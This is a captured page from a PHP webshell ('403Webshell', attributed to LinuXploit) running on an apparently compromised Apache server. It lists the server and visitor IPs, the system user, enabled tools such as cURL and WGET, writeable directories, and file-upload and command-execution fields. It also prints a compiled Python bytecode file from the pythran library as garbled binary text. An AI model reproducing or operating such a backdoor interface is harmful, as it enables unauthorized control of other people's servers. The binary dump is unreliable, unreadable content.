403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/pythran/analyses/__pycache__/is_assigned.cpython-311.pyc
�

cR�a���:�dZddlmZddlZGd�de��ZdS)zC Gathers variables that have value modification in the given node. �)�NodeAnalysisNc�.��eZdZdZ�fd�Zd�Zd�Z�xZS)�
IsAssignedz�
    Gather variable that change in given node.

    It doesn't check constness as it is use for integer so we don't care about
    arguments effects as it is use by value.
    c�|��t��|_tt|�����dS)z Basic initialiser. N)�list�result�superr�__init__)�self�	__class__s ��>/usr/lib/python3/dist-packages/pythran/analyses/is_assigned.pyr
zIsAssigned.__init__s0����f�f���
�j�$���(�(�*�*�*�*�*�c�|�t|jtj��r|j�|��dSdS)z! Stored variable have new value. N)�
isinstance�ctx�ast�Storer�append)r�nodes  r
�
visit_NamezIsAssigned.visit_Names>���d�h��	�*�*�	%��K���t�$�$�$�$�$�	%�	%rc�n���t|jtj��r��fd���|��dSdS)Nc����t|tj��r�j�|��dSt|tj��r|jD]}�|���dSdS)N)rr�Namerr�Tuple�elts)�n�elt�recrs  ��r
rz#IsAssigned.visit_Tuple.<locals>.recs{����a���*�*�!��K�&�&�q�)�)�)�)�)���3�9�-�-�!� �v�!�!����C�����!�!�!�!r)rrrr)rrrs` @r
�visit_TuplezIsAssigned.visit_TuplesU�����d�h��	�*�*�	�
!�
!�
!�
!�
!�
!�
�C��I�I�I�I�I�	�	r)�__name__�
__module__�__qualname__�__doc__r
rr�
__classcell__)rs@r
rrs`���������+�+�+�+�+�
%�%�%�
	�	�	�	�	�	�	rr)r#�pythran.passmanagerr�gastrr�rr
�<module>r(s]��I�I�,�,�,�,�,�,���������������r

Youez - 2016 - github.com/yon3zu
LinuXploit